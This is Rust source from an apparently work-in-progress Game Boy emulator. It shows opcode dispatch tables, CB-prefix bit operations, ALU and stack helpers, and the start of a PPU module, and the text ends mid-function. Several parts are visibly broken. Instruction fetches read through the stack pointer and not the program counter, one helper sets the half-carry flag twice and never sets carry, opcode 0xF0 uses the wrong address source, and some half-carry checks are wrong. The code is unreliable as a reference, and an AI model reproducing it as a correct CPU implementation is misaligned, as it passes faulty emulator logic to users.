self.alu_sbc(self.reg.c), 0x9A => self.alu_sbc(self.reg.d), 0x9B => self.alu_sbc(self.reg.e), 0x9C => self.alu_sbc(self.reg.h), 0x9D => self.alu_sbc(self.reg.l), 0x9E => self.alu_sbc(self.mem.read_byte(self.reg.read_16b(HL))), 0x9F => self.alu_sbc(self.reg.a), 0xA0 => self.alu_and(self.reg.b), 0xA1 => self.alu_and(self.reg.c), 0xA2 => self.alu_and(self.reg.d), 0xA3 => self.alu_and(self.reg.e), 0xA4 => self.alu_and(self.reg.h), 0xA5 => self.alu_and(self.reg.l), 0xA6 => self.alu_and(self.mem.read_byte(self.reg.read_16b(HL))), 0xA7 => self.alu_and(self.reg.a), 0xA8 => self.alu_xor(self.reg.b), 0xA9 => self.alu_xor(self.reg.c), 0xAA => self.alu_xor(self.reg.d), 0xAB => self.alu_xor(self.reg.e), 0xAC => self.alu_xor(self.reg.h), 0xAD => self.alu_xor(self.reg.l), 0xAE => self.alu_xor(self.mem.read_byte(self.reg.read_16b(HL))), 0xAF => self.alu_xor(self.reg.a), 0xB0 => self.alu_or(self.reg.b), 0xB1 => self.alu_or(self.reg.c), 0xB2 => self.alu_or(self.reg.d), 0xB3 => self.alu_or(self.reg.e), 0xB4 => self.alu_or(self.reg.h), 0xB5 => self.alu_or(self.reg.l), 0xB6 => self.alu_or(self.mem.read_byte(self.reg.read_16b(HL))), 0xB7 => self.alu_or(self.reg.a), 0xB8 => self.alu_cp(self.reg.b), 0xB9 => self.alu_cp(self.reg.c), 0xBA => self.alu_cp(self.reg.d), 0xBB => self.alu_cp(self.reg.e), 0xBC => self.alu_cp(self.reg.h), 0xBD => self.alu_cp(self.reg.l), 0xBE => self.alu_cp(self.mem.read_byte(self.reg.read_16b(HL))), 0xBF => self.alu_cp(self.reg.a), 0xC0 => self.ret(!self.reg.get_flag(FZ)), 0xC1 => { let word = self.pop_stack(); self.reg.write_16b(BC, word); } 0xC2 => self.jp(!self.reg.get_flag(FZ)), 0xC3 => self.jp(true), 0xC4 => self.call(!self.reg.get_flag(FZ)), 0xC5 => { let word = self.reg.read_16b(BC); self.push_stack(word); } 0xC6 => { let val = self.fetch_byte(); self.alu_add(val); } 0xC7 => self.rst(0x00), 0xC8 => self.ret(self.reg.get_flag(FZ)), 0xC9 => self.ret(true), 0xCA => self.jp(self.reg.get_flag(FZ)), 0xCB => self.execute_cb(), 0xCC => self.call(self.reg.get_flag(FZ)), 0xCD => self.call(true), 0xCE => { let val = self.fetch_byte(); self.alu_adc(val); } 0xCF => self.rst(0x08), 0xD0 => self.ret(!self.reg.get_flag(FC)), 0xD1 => { let word = self.pop_stack(); self.reg.write_16b(DE, word); } 0xD2 => self.jp(!self.reg.get_flag(FC)), 0xD3 => {} //unused 0xD4 => self.call(!self.reg.get_flag(FC)), 0xD5 => { let word = self.reg.read_16b(DE); self.push_stack(word); } 0xD6 => { let val = self.fetch_byte(); self.alu_sub(val); } 0xD7 => self.rst(0x10), 0xD8 => self.ret(self.reg.get_flag(FC)), 0xD9 => { self.ret(true); self.ime = true; } 0xDA => self.jp(self.reg.get_flag(FC)), 0xDB => {} //unused 0xDC => self.call(self.reg.get_flag(FC)), 0xDD => {} //unused 0xDE => { let val = self.fetch_byte(); self.alu_sbc(val); } 0xDF => self.rst(0x18), 0xE0 => { let addr = self.fetch_byte() as u16 + 0xFF00; self.mem.write_byte(addr, self.reg.a); } 0xE1 => { let word = self.pop_stack(); self.reg.write_16b(HL, word); } 0xE2 => { let addr = self.reg.c as u16 + 0xFF00; self.mem.write_byte(addr, self.reg.a); } 0xE3 => {} //unused 0xE4 => {} //unused 0xE5 => { let word = self.reg.read_16b(HL); self.push_stack(word); } 0xE6 => { let val = self.fetch_byte(); self.alu_and(val); } 0xE7 => self.rst(0x20), 0xE8 => self.reg.sp = self.alu_add_imm(self.reg.pc), 0xE9 => self.reg.pc = self.reg.read_16b(HL), 0xEA => { let addr = self.fetch_word(); self.mem.write_byte(addr, self.reg.a); } 0xEB => {} //unused 0xEC => {} //unused 0xED => {} //unused 0xEE => { let val = self.fetch_byte(); self.alu_xor(val); } 0xEF => self.rst(0x28), 0xF0 => { let addr = self.reg.a as u16 + 0xFF00; self.reg.a = self.mem.read_byte(addr); } 0xF1 => { let word = self.pop_stack(); self.reg.write_16b(AF, word); } 0xF2 => { let addr = self.reg.c as u16 + 0xFF00; self.reg.a = self.mem.read_byte(addr); } 0xF3 => self.ime = false, 0xF4 => {} //unused 0xF5 => { let word = self.reg.read_16b(AF); self.push_stack(word); } 0xF6 => { let val = self.fetch_byte(); self.alu_or(val); } 0xF7 => self.rst(0x30), 0xF8 => { let val = self.alu_add_imm(self.reg.pc); self.reg.write_16b(HL, val); } 0xF9 => self.reg.sp = self.reg.read_16b(HL), 0xFA => { let addr = self.fetch_word(); self.reg.a = self.mem.read_byte(addr); } 0xFB => self.ime = true, 0xFC => {} //unused 0xFD => {} //unused 0xFE => { let val = self.fetch_byte(); self.alu_cp(val); } 0xFF => self.rst(0x38), } } fn execute_cb(&mut self) { let operation = self.fetch_byte(); match operation { 0x00 => self.reg.b = self.alu_rlc(self.reg.b), 0x01 => self.reg.c = self.alu_rlc(self.reg.c), 0x02 => self.reg.d = self.alu_rlc(self.reg.d), 0x03 => self.reg.e = self.alu_rlc(self.reg.e), 0x04 => self.reg.h = self.alu_rlc(self.reg.h), 0x05 => self.reg.l = self.alu_rlc(self.reg.l), 0x06 => { let result = self.alu_rlc(self.mem.read_byte(self.reg.read_16b(HL))); self.mem.write_byte(self.reg.read_16b(HL), result); } 0x07 => self.reg.a = self.alu_rlc(self.reg.a), 0x08 => self.reg.b = self.alu_rrc(self.reg.b), 0x09 => self.reg.c = self.alu_rrc(self.reg.c), 0x0A => self.reg.d = self.alu_rrc(self.reg.d), 0x0B => self.reg.e = self.alu_rrc(self.reg.e), 0x0C => self.reg.h = self.alu_rrc(self.reg.h), 0x0D => self.reg.l = self.alu_rrc(self.reg.l), 0x0E => { let result = self.alu_rrc(self.mem.read_byte(self.reg.read_16b(HL))); self.mem.write_byte(self.reg.read_16b(HL), result); } 0x0F => self.reg.a = self.alu_rrc(self.reg.a), 0x10 => self.reg.b = self.alu_rl(self.reg.b), 0x11 => self.reg.c = self.alu_rl(self.reg.c), 0x12 => self.reg.d = self.alu_rl(self.reg.d), 0x13 => self.reg.e = self.alu_rl(self.reg.e), 0x14 => self.reg.h = self.alu_rl(self.reg.h), 0x15 => self.reg.l = self.alu_rl(self.reg.l), 0x16 => { let result = self.alu_rl(self.mem.read_byte(self.reg.read_16b(HL))); self.mem.write_byte(self.reg.read_16b(HL), result); } 0x17 => self.reg.a = self.alu_rl(self.reg.a), 0x18 => self.reg.b = self.alu_rr(self.reg.b), 0x19 => self.reg.c = self.alu_rr(self.reg.c), 0x1A => self.reg.d = self.alu_rr(self.reg.d), 0x1B => self.reg.e = self.alu_rr(self.reg.e), 0x1C => self.reg.h = self.alu_rr(self.reg.h), 0x1D => self.reg.l = self.alu_rr(self.reg.l), 0x1E => { let result = self.alu_rr(self.mem.read_byte(self.reg.read_16b(HL))); self.mem.write_byte(self.reg.read_16b(HL), result); } 0x1F => self.reg.a = self.alu_rr(self.reg.a), 0x20 => self.reg.b = self.alu_sla(self.reg.b), 0x21 => self.reg.c = self.alu_sla(self.reg.c), 0x22 => self.reg.d = self.alu_sla(self.reg.d), 0x23 => self.reg.e = self.alu_sla(self.reg.e), 0x24 => self.reg.h = self.alu_sla(self.reg.h), 0x25 => self.reg.l = self.alu_sla(self.reg.l), 0x26 => { let result = self.alu_sla(self.mem.read_byte(self.reg.read_16b(HL))); self.mem.write_byte(self.reg.read_16b(HL), result); } 0x27 => self.reg.a = self.alu_sla(self.reg.a), 0x28 => self.reg.b = self.alu_sra(self.reg.b), 0x29 => self.reg.c = self.alu_sra(self.reg.c), 0x2A => self.reg.d = self.alu_sra(self.reg.d), 0x2B => self.reg.e = self.alu_sra(self.reg.e), 0x2C => self.reg.h = self.alu_sra(self.reg.h), 0x2D => self.reg.l = self.alu_sra(self.reg.l), 0x2E => { let result = self.alu_sra(self.mem.read_byte(self.reg.read_16b(HL))); self.mem.write_byte(self.reg.read_16b(HL), result); } 0x2F => self.reg.a = self.alu_sra(self.reg.a), 0x30 => self.reg.b = self.alu_swap(self.reg.b), 0x31 => self.reg.c = self.alu_swap(self.reg.c), 0x32 => self.reg.d = self.alu_swap(self.reg.d), 0x33 => self.reg.e = self.alu_swap(self.reg.e), 0x34 => self.reg.h = self.alu_swap(self.reg.h), 0x35 => self.reg.l = self.alu_swap(self.reg.l), 0x36 => { let result = self.alu_swap(self.mem.read_byte(self.reg.read_16b(HL))); self.mem.write_byte(self.reg.read_16b(HL), result); } 0x37 => self.reg.a = self.alu_swap(self.reg.a), 0x38 => self.reg.b = self.alu_srl(self.reg.b), 0x39 => self.reg.c = self.alu_srl(self.reg.c), 0x3A => self.reg.d = self.alu_srl(self.reg.d), 0x3B => self.reg.e = self.alu_srl(self.reg.e), 0x3C => self.reg.h = self.alu_srl(self.reg.h), 0x3D => self.reg.l = self.alu_srl(self.reg.l), 0x3E => { let result = self.alu_srl(self.mem.read_byte(self.reg.read_16b(HL))); self.mem.write_byte(self.reg.read_16b(HL), result); } 0x3F => self.reg.a = self.alu_srl(self.reg.a), 0x40 => self.test_bit(self.reg.b, 0), 0x41 => self.test_bit(self.reg.c, 0), 0x42 => self.test_bit(self.reg.d, 0), 0x43 => self.test_bit(self.reg.e, 0), 0x44 => self.test_bit(self.reg.h, 0), 0x45 => self.test_bit(self.reg.l, 0), 0x46 => self.test_bit(self.mem.read_byte(self.reg.read_16b(HL)), 0), 0x47 => self.test_bit(self.reg.a, 0), 0x48 => self.test_bit(self.reg.b, 1), 0x49 => self.test_bit(self.reg.c, 1), 0x4A => self.test_bit(self.reg.d, 1), 0x4B => self.test_bit(self.reg.e, 1), 0x4C => self.test_bit(self.reg.h, 1), 0x4D => self.test_bit(self.reg.l, 1), 0x4E => self.test_bit(self.mem.read_byte(self.reg.read_16b(HL)), 1), 0x4F => self.test_bit(self.reg.a, 1), 0x50 => self.test_bit(self.reg.b, 2), 0x51 => self.test_bit(self.reg.c, 2), 0x52 => self.test_bit(self.reg.d, 2), 0x53 => self.test_bit(self.reg.e, 2), 0x54 => self.test_bit(self.reg.h, 2), 0x55 => self.test_bit(self.reg.l, 2), 0x56 => self.test_bit(self.mem.read_byte(self.reg.read_16b(HL)), 2), 0x57 => self.test_bit(self.reg.a, 2), 0x58 => self.test_bit(self.reg.b, 3), 0x59 => self.test_bit(self.reg.c, 3), 0x5A => self.test_bit(self.reg.d, 3), 0x5B => self.test_bit(self.reg.e, 3), 0x5C => self.test_bit(self.reg.h, 3), 0x5D => self.test_bit(self.reg.l, 3), 0x5E => self.test_bit(self.mem.read_byte(self.reg.read_16b(HL)), 3), 0x5F => self.test_bit(self.reg.a, 3), 0x60 => self.test_bit(self.reg.b, 4), 0x61 => self.test_bit(self.reg.c, 4), 0x62 => self.test_bit(self.reg.d, 4), 0x63 => self.test_bit(self.reg.e, 4), 0x64 => self.test_bit(self.reg.h, 4), 0x65 => self.test_bit(self.reg.l, 4), 0x66 => self.test_bit(self.mem.read_byte(self.reg.read_16b(HL)), 4), 0x67 => self.test_bit(self.reg.a, 4), 0x68 => self.test_bit(self.reg.b, 5), 0x69 => self.test_bit(self.reg.c, 5), 0x6A => self.test_bit(self.reg.d, 5), 0x6B => self.test_bit(self.reg.e, 5), 0x6C => self.test_bit(self.reg.h, 5), 0x6D => self.test_bit(self.reg.l, 5), 0x6E => self.test_bit(self.mem.read_byte(self.reg.read_16b(HL)), 5), 0x6F => self.test_bit(self.reg.a, 5), 0x70 => self.test_bit(self.reg.b, 6), 0x71 => self.test_bit(self.reg.c, 6), 0x72 => self.test_bit(self.reg.d, 6), 0x73 => self.test_bit(self.reg.e, 6), 0x74 => self.test_bit(self.reg.h, 6), 0x75 => self.test_bit(self.reg.l, 6), 0x76 => self.test_bit(self.mem.read_byte(self.reg.read_16b(HL)), 6), 0x77 => self.test_bit(self.reg.a, 6), 0x78 => self.test_bit(self.reg.b, 7), 0x79 => self.test_bit(self.reg.c, 7), 0x7A => self.test_bit(self.reg.d, 7), 0x7B => self.test_bit(self.reg.e, 7), 0x7C => self.test_bit(self.reg.h, 7), 0x7D => self.test_bit(self.reg.l, 7), 0x7E => self.test_bit(self.mem.read_byte(self.reg.read_16b(HL)), 7), 0x7F => self.test_bit(self.reg.a, 7), 0x80 => self.reg.b = self.reset_bit(self.reg.b, 0), 0x81 => self.reg.c = self.reset_bit(self.reg.c, 0), 0x82 => self.reg.d = self.reset_bit(self.reg.d, 0), 0x83 => self.reg.e = self.reset_bit(self.reg.e, 0), 0x84 => self.reg.h = self.reset_bit(self.reg.h, 0), 0x85 => self.reg.l = self.reset_bit(self.reg.l, 0), 0x86 => { let val = self.reset_bit(self.mem.read_byte(self.reg.read_16b(HL)), 0); self.mem.write_byte(self.reg.read_16b(HL), val); } 0x87 => self.reg.a = self.reset_bit(self.reg.a, 0), 0x88 => self.reg.b = self.reset_bit(self.reg.b, 1), 0x89 => self.reg.c = self.reset_bit(self.reg.c, 1), 0x8A => self.reg.d = self.reset_bit(self.reg.d, 1), 0x8B => self.reg.e = self.reset_bit(self.reg.e, 1), 0x8C => self.reg.h = self.reset_bit(self.reg.h, 1), 0x8D => self.reg.l = self.reset_bit(self.reg.l, 1), 0x8E => { let val = self.reset_bit(self.mem.read_byte(self.reg.read_16b(HL)), 1); self.mem.write_byte(self.reg.read_16b(HL), val); } 0x8F => self.reg.a = self.reset_bit(self.reg.a, 1), 0x90 => self.reg.b = self.reset_bit(self.reg.b, 2), 0x91 => self.reg.c = self.reset_bit(self.reg.c, 2), 0x92 => self.reg.d = self.reset_bit(self.reg.d, 2), 0x93 => self.reg.e = self.reset_bit(self.reg.e, 2), 0x94 => self.reg.h = self.reset_bit(self.reg.h, 2), 0x95 => self.reg.l = self.reset_bit(self.reg.l, 2), 0x96 => { let val = self.reset_bit(self.mem.read_byte(self.reg.read_16b(HL)), 2); self.mem.write_byte(self.reg.read_16b(HL), val); } 0x97 => self.reg.a = self.reset_bit(self.reg.a, 2), 0x98 => self.reg.b = self.reset_bit(self.reg.b, 3), 0x99 => self.reg.c = self.reset_bit(self.reg.c, 3), 0x9A => self.reg.d = self.reset_bit(self.reg.d, 3), 0x9B => self.reg.e = self.reset_bit(self.reg.e, 3), 0x9C => self.reg.h = self.reset_bit(self.reg.h, 3), 0x9D => self.reg.l = self.reset_bit(self.reg.l, 3), 0x9E => { let val = self.reset_bit(self.mem.read_byte(self.reg.read_16b(HL)), 3); self.mem.write_byte(self.reg.read_16b(HL), val); } 0x9F => self.reg.a = self.reset_bit(self.reg.a, 3), 0xA0 => self.reg.b = self.reset_bit(self.reg.b, 4), 0xA1 => self.reg.c = self.reset_bit(self.reg.c, 4), 0xA2 => self.reg.d = self.reset_bit(self.reg.d, 4), 0xA3 => self.reg.e = self.reset_bit(self.reg.e, 4), 0xA4 => self.reg.h = self.reset_bit(self.reg.h, 4), 0xA5 => self.reg.l = self.reset_bit(self.reg.l, 4), 0xA6 => { let val = self.reset_bit(self.mem.read_byte(self.reg.read_16b(HL)), 4); self.mem.write_byte(self.reg.read_16b(HL), val); } 0xA7 => self.reg.a = self.reset_bit(self.reg.a, 4), 0xA8 => self.reg.b = self.reset_bit(self.reg.b, 5), 0xA9 => self.reg.c = self.reset_bit(self.reg.c, 5), 0xAA => self.reg.d = self.reset_bit(self.reg.d, 5), 0xAB => self.reg.e = self.reset_bit(self.reg.e, 5), 0xAC => self.reg.h = self.reset_bit(self.reg.h, 5), 0xAD => self.reg.l = self.reset_bit(self.reg.l, 5), 0xAE => { let val = self.reset_bit(self.mem.read_byte(self.reg.read_16b(HL)), 5); self.mem.write_byte(self.reg.read_16b(HL), val); } 0xAF => self.reg.a = self.reset_bit(self.reg.a, 5), 0xB0 => self.reg.b = self.reset_bit(self.reg.b, 6), 0xB1 => self.reg.c = self.reset_bit(self.reg.c, 6), 0xB2 => self.reg.d = self.reset_bit(self.reg.d, 6), 0xB3 => self.reg.e = self.reset_bit(self.reg.e, 6), 0xB4 => self.reg.h = self.reset_bit(self.reg.h, 6), 0xB5 => self.reg.l = self.reset_bit(self.reg.l, 6), 0xB6 => { let val = self.reset_bit(self.mem.read_byte(self.reg.read_16b(HL)), 6); self.mem.write_byte(self.reg.read_16b(HL), val); } 0xB7 => self.reg.a = self.reset_bit(self.reg.a, 6), 0xB8 => self.reg.b = self.reset_bit(self.reg.b, 7), 0xB9 => self.reg.c = self.reset_bit(self.reg.c, 7), 0xBA => self.reg.d = self.reset_bit(self.reg.d, 7), 0xBB => self.reg.e = self.reset_bit(self.reg.e, 7), 0xBC => self.reg.h = self.reset_bit(self.reg.h, 7), 0xBD => self.reg.l = self.reset_bit(self.reg.l, 7), 0xBE => { let val = self.reset_bit(self.mem.read_byte(self.reg.read_16b(HL)), 7); self.mem.write_byte(self.reg.read_16b(HL), val); } 0xBF => self.reg.a = self.reset_bit(self.reg.a, 7), 0xC0 => self.reg.b = self.set_bit(self.reg.b, 0), 0xC1 => self.reg.c = self.set_bit(self.reg.c, 0), 0xC2 => self.reg.d = self.set_bit(self.reg.d, 0), 0xC3 => self.reg.e = self.set_bit(self.reg.e, 0), 0xC4 => self.reg.h = self.set_bit(self.reg.h, 0), 0xC5 => self.reg.l = self.set_bit(self.reg.l, 0), 0xC6 => { let val = self.set_bit(self.mem.read_byte(self.reg.read_16b(HL)), 0); self.mem.write_byte(self.reg.read_16b(HL), val); } 0xC7 => self.reg.a = self.set_bit(self.reg.a, 0), 0xC8 => self.reg.b = self.set_bit(self.reg.b, 1), 0xC9 => self.reg.c = self.set_bit(self.reg.c, 1), 0xCA => self.reg.d = self.set_bit(self.reg.d, 1), 0xCB => self.reg.e = self.set_bit(self.reg.e, 1), 0xCC => self.reg.h = self.set_bit(self.reg.h, 1), 0xCD => self.reg.l = self.set_bit(self.reg.l, 1), 0xCE => { let val = self.set_bit(self.mem.read_byte(self.reg.read_16b(HL)), 1); self.mem.write_byte(self.reg.read_16b(HL), val); } 0xCF => self.reg.a = self.set_bit(self.reg.a, 1), 0xD0 => self.reg.b = self.set_bit(self.reg.b, 2), 0xD1 => self.reg.c = self.set_bit(self.reg.c, 2), 0xD2 => self.reg.d = self.set_bit(self.reg.d, 2), 0xD3 => self.reg.e = self.set_bit(self.reg.e, 2), 0xD4 => self.reg.h = self.set_bit(self.reg.h, 2), 0xD5 => self.reg.l = self.set_bit(self.reg.l, 2), 0xD6 => { let val = self.set_bit(self.mem.read_byte(self.reg.read_16b(HL)), 2); self.mem.write_byte(self.reg.read_16b(HL), val); } 0xD7 => self.reg.a = self.set_bit(self.reg.a, 2), 0xD8 => self.reg.b = self.set_bit(self.reg.b, 3), 0xD9 => self.reg.c = self.set_bit(self.reg.c, 3), 0xDA => self.reg.d = self.set_bit(self.reg.d, 3), 0xDB => self.reg.e = self.set_bit(self.reg.e, 3), 0xDC => self.reg.h = self.set_bit(self.reg.h, 3), 0xDD => self.reg.l = self.set_bit(self.reg.l, 3), 0xDE => { let val = self.set_bit(self.mem.read_byte(self.reg.read_16b(HL)), 3); self.mem.write_byte(self.reg.read_16b(HL), val); } 0xDF => self.reg.a = self.set_bit(self.reg.a, 3), 0xE0 => self.reg.b = self.set_bit(self.reg.b, 4), 0xE1 => self.reg.c = self.set_bit(self.reg.c, 4), 0xE2 => self.reg.d = self.set_bit(self.reg.d, 4), 0xE3 => self.reg.e = self.set_bit(self.reg.e, 4), 0xE4 => self.reg.h = self.set_bit(self.reg.h, 4), 0xE5 => self.reg.l = self.set_bit(self.reg.l, 4), 0xE6 => { let val = self.set_bit(self.mem.read_byte(self.reg.read_16b(HL)), 4); self.mem.write_byte(self.reg.read_16b(HL), val); } 0xE7 => self.reg.a = self.set_bit(self.reg.a, 4), 0xE8 => self.reg.b = self.set_bit(self.reg.b, 5), 0xE9 => self.reg.c = self.set_bit(self.reg.c, 5), 0xEA => self.reg.d = self.set_bit(self.reg.d, 5), 0xEB => self.reg.e = self.set_bit(self.reg.e, 5), 0xEC => self.reg.h = self.set_bit(self.reg.h, 5), 0xED => self.reg.l = self.set_bit(self.reg.l, 5), 0xEE => { let val = self.set_bit(self.mem.read_byte(self.reg.read_16b(HL)), 5); self.mem.write_byte(self.reg.read_16b(HL), val); } 0xEF => self.reg.a = self.set_bit(self.reg.a, 5), 0xF0 => self.reg.b = self.set_bit(self.reg.b, 6), 0xF1 => self.reg.c = self.set_bit(self.reg.c, 6), 0xF2 => self.reg.d = self.set_bit(self.reg.d, 6), 0xF3 => self.reg.e = self.set_bit(self.reg.e, 6), 0xF4 => self.reg.h = self.set_bit(self.reg.h, 6), 0xF5 => self.reg.l = self.set_bit(self.reg.l, 6), 0xF6 => { let val = self.set_bit(self.mem.read_byte(self.reg.read_16b(HL)), 6); self.mem.write_byte(self.reg.read_16b(HL), val); } 0xF7 => self.reg.a = self.set_bit(self.reg.a, 6), 0xF8 => self.reg.b = self.set_bit(self.reg.b, 7), 0xF9 => self.reg.c = self.set_bit(self.reg.c, 7), 0xFA => self.reg.d = self.set_bit(self.reg.d, 7), 0xFB => self.reg.e = self.set_bit(self.reg.e, 7), 0xFC => self.reg.h = self.set_bit(self.reg.h, 7), 0xFD => self.reg.l = self.set_bit(self.reg.l, 7), 0xFE => { let val = self.set_bit(self.mem.read_byte(self.reg.read_16b(HL)), 7); self.mem.write_byte(self.reg.read_16b(HL), val); } 0xFF => self.reg.a = self.set_bit(self.reg.a, 7), } } fn fetch_byte(&mut self) -> u8 { let byte = self.mem.read_byte(self.reg.sp); self.reg.sp = self.reg.sp.wrapping_add(1); byte } fn fetch_word(&mut self) -> u16 { let word = self.mem.read_word(self.reg.sp); self.reg.sp = self.reg.sp.wrapping_add(2); word } fn push_stack(&mut self, value: u16) { self.reg.sp -= 2; self.mem.write_word(self.reg.sp, value); } fn pop_stack(&mut self) -> u16 { let word = self.mem.read_word(self.reg.sp); self.reg.sp += 2; word } fn alu_add(&mut self, operand: u8) { let op1 = self.reg.a; let result = op1.wrapping_add(operand); self.reg.a = result; self.reg.set_flag(FZ, result == 0); self.reg.set_flag(FN, false); self.reg .set_flag(FH, (op1 & 0x0F) + (operand & 0x0F) > 0x0F); self.reg .set_flag(FC, (op1 as u16) + (operand as u16) > 0xFF); } fn alu_add_16b(&mut self, operand: Registers16b) { let (val1, val2) = (self.reg.read_16b(HL), self.reg.read_16b(operand)); let result = val1.wrapping_add(val2); self.reg.set_flag(FN, false); self.reg .set_flag(FH, val1 & 0x07FF > 0x07FF - (val2 & 0x07FF)); self.reg.set_flag(FC, (val1 as u32 + val2 as u32) > 0xFFFF); self.reg.write_16b(HL, result); } fn alu_add_imm(&mut self, operand: u16) -> u16 { let imm = self.fetch_byte() as u16; let res = operand.wrapping_add(imm); self.reg.set_flag(FH, (operand & 0xF) + (imm & 0xF) > 0xF); self.reg .set_flag(FH, (operand & 0xFF) + (imm & 0xFF) > 0xFF); res } fn alu_adc(&mut self, operand: u8) { let carry = self.reg.get_flag(FC) as u8; let op1 = self.reg.a; let result = op1.wrapping_add(operand).wrapping_add(carry); self.reg.a = result; self.reg.set_flag(FZ, result == 0); self.reg.set_flag(FN, false); self.reg .set_flag(FH, (op1 & 0x0F) + (operand & 0x0F) + carry > 0x0F); self.reg .set_flag(FC, (op1 as u16) + (operand as u16) + (carry as u16) > 0xFF); } fn alu_sub(&mut self, operand: u8) { let op1 = self.reg.a; let result = op1.wrapping_sub(operand); self.reg.a = result; self.reg.set_flag(FZ, result == 0); self.reg.set_flag(FN, true); self.reg.set_flag(FH, (op1 & 0x0F) < (operand & 0x0F)); self.reg.set_flag(FC, (op1 as u16) < (operand as u16)); } fn alu_sbc(&mut self, operand: u8) { let carry = self.reg.get_flag(FC) as u8; let op1 = self.reg.a; let result = op1.wrapping_sub(operand).wrapping_sub(carry); self.reg.a = result; self.reg.set_flag(FZ, result == 0); self.reg.set_flag(FN, true); self.reg .set_flag(FH, (op1 & 0x0F) < (operand & 0x0F) + carry); self.reg .set_flag(FC, (op1 as u16) < (operand as u16) + (carry as u16)); } fn alu_and(&mut self, operand: u8) { let result = self.reg.a & operand; self.reg.a = result; self.reg.set_flags(result == 0, false, true, false); } fn alu_xor(&mut self, operand: u8) { let result = self.reg.a ^ operand; self.reg.a = result; self.reg.set_flags(result == 0, false, false, false); } fn alu_or(&mut self, operand: u8) { let result = self.reg.a | operand; self.reg.a = result; self.reg.set_flags(result == 0, false, false, false); } fn alu_cp(&mut self, operand: u8) { let op1 = self.reg.a; let result = op1.wrapping_sub(operand); self.reg.set_flag(FZ, result == 0); self.reg.set_flag(FN, true); self.reg.set_flag(FH, (op1 & 0x0F) < (operand & 0x0F)); self.reg.set_flag(FC, (op1 as u16) < (operand as u16)); } fn alu_inc(&mut self, reg: Registers8b) { let result = self.reg.read_8b(&reg).wrapping_add(1); self.reg.set_flag(FZ, result == 0); self.reg.set_flag(FN, false); self.reg .set_flag(FH, (self.reg.read_8b(&reg) as u16) + 1 > 0x0F); self.reg.write_8b(&reg, result); } fn alu_dec(&mut self, reg: Registers8b) { let result = self.reg.read_8b(&reg).wrapping_sub(1); self.reg.set_flag(FZ, result == 0); self.reg.set_flag(FN, true); self.reg.set_flag(FH, self.reg.read_8b(&reg) == 0); self.reg.write_8b(&reg, result); } fn alu_daa(&mut self) { let mut val = self.reg.a; let mut correction = 0; let (flag_n, flag_h, flag_c) = ( self.reg.get_flag(FN), self.reg.get_flag(FH), self.reg.get_flag(FC), ); if flag_h || (!flag_n && (val & 0xf) > 9) { correction |= 0x6; } if flag_c || (!flag_n && val > 0x99) { correction |= 0x60; } if flag_n { val = val.wrapping_sub(correction); } else { val = val.wrapping_add(correction); } self.reg .set_flags(val == 0, flag_n, false, correction >= 0x60); self.reg.a = val; } fn mem_inc(&mut self, addr: u16) { let operand = self.mem.read_byte(addr); let result = operand.wrapping_add(1); self.reg.set_flag(FZ, result == 0); self.reg.set_flag(FN, false); self.reg.set_flag(FH, (operand as u16) + 1 > 0x0F); self.mem.write_byte(addr, result); } fn mem_dec(&mut self, addr: u16) { let operand = self.mem.read_byte(addr); let result = operand.wrapping_sub(1); self.reg.set_flag(FZ, result == 0); self.reg.set_flag(FN, true); self.reg.set_flag(FH, operand == 0); self.mem.write_byte(addr, result); } fn alu_rlc(&mut self, operand: u8) -> u8 { let msb = (operand & 0x80) >> 7; let result = (operand << 1) | msb; self.reg.set_flags(result == 0, false, false, msb != 0); result } fn alu_rl(&mut self, operand: u8) -> u8 { let msb = (operand & 0x80) >> 7; let result = (operand << 1) | self.reg.get_flag(FC) as u8; self.reg.set_flags(result == 0, false, false, msb != 0); result } fn alu_rrc(&mut self, operand: u8) -> u8 { let lsb = (operand & 0x01) << 7; let result = (operand >> 1) | lsb; self.reg.set_flags(result == 0, false, false, lsb != 0); result } fn alu_rr(&mut self, operand: u8) -> u8 { let lsb = (operand & 0x01) << 7; let result = (operand >> 1) | ((self.reg.get_flag(FC) as u8) << 7); self.reg.set_flags(result == 0, false, false, lsb != 0); result } fn alu_sla(&mut self, operand: u8) -> u8 { let msb = (operand & 0x80) >> 7; let result = operand << 1; self.reg.set_flags(result == 0, false, false, msb != 0); result } fn alu_sra(&mut self, operand: u8) -> u8 { let lsb = operand & 0x01; let result = (operand >> 1) | (operand & 0x80); self.reg.set_flags(result == 0, false, false, lsb != 0); result } fn alu_srl(&mut self, operand: u8) -> u8 { let lsb = operand & 0x01; let result = operand >> 1; self.reg.set_flags(result == 0, false, false, lsb != 0); result } fn alu_swap(&mut self, operand: u8) -> u8 { self.reg.set_flags(operand == 0, false, false, false); (operand << 4) | (operand >> 4) } fn test_bit(&mut self, operand: u8, bit: u8) { let result = operand & (1 << bit); self.reg .set_flags(result == 0, false, true, self.reg.get_flag(FC)); } fn reset_bit(&self, operand: u8, bit: u8) -> u8 { operand & !(1 << bit) } fn set_bit(&self, operand: u8, bit: u8) -> u8 { operand | (1 << bit) } fn jr(&mut self, condition: bool) { if condition { self.reg.pc = self.reg.pc.wrapping_add(self.fetch_byte() as u16); } else { self.reg.pc = self.reg.pc.wrapping_add(1); } } fn ret(&mut self, condition: bool) { if condition { self.reg.pc = self.pop_stack(); } } fn jp(&mut self, condition: bool) { if condition { self.reg.pc = self.fetch_word(); } else { self.reg.pc = self.reg.pc.wrapping_add(2); } } fn call(&mut self, condition: bool) { if condition { self.push_stack(self.reg.pc); self.reg.pc = self.fetch_word(); } else { self.reg.pc = self.reg.pc.wrapping_add(2); } } fn rst(&mut self, pointer: u8) { self.push_stack(self.reg.pc); self.reg.pc = pointer as u16; } } <file_sep>/corroded_boy/src/main.rs mod cpu; mod register; mod memory; mod ppu; mod sound; mod timer; fn main() {} <file_sep>/corroded_boy/src/ppu.rs pub struct ppu { vram: [u8; 0x4000], oam: [u8; 0xA0], lcd_en: bool, win_tile_area: bool, win_en: bool, bg_win_tile_area: bool, bg_tile_area: bool, obj_size: bool, obj_en: bool, bg_win_en: bool, cur_vram_bank: u8, } impl ppu { pub fn new() -> ppu { ppu { vram: [0; 0x4000], oam: [0; 0xA0], lcd_en: false, win_tile_area: false, win_en: false, bg_win_tile_area: false, bg_tile_area: false, obj_size: false, obj_en: false, bg_win_en: false, cur_vram_bank: 0, } } pub fn read_byte(&self, addr: u16) -> u8 { match addr { 0x8000..=0x9FFF => { self.vram[(self.cur_vram_bank as usize * 0x2000) | (addr as usize - 0x8000)] } 0xFE00..=0xFE9F => self.oam[addr as usize - 0xFE00], 0xFF40 => { let mut byte = 0x00; byte |= if self.lcd_en { 0x1 << 7 } else { 0 }; byte |= if 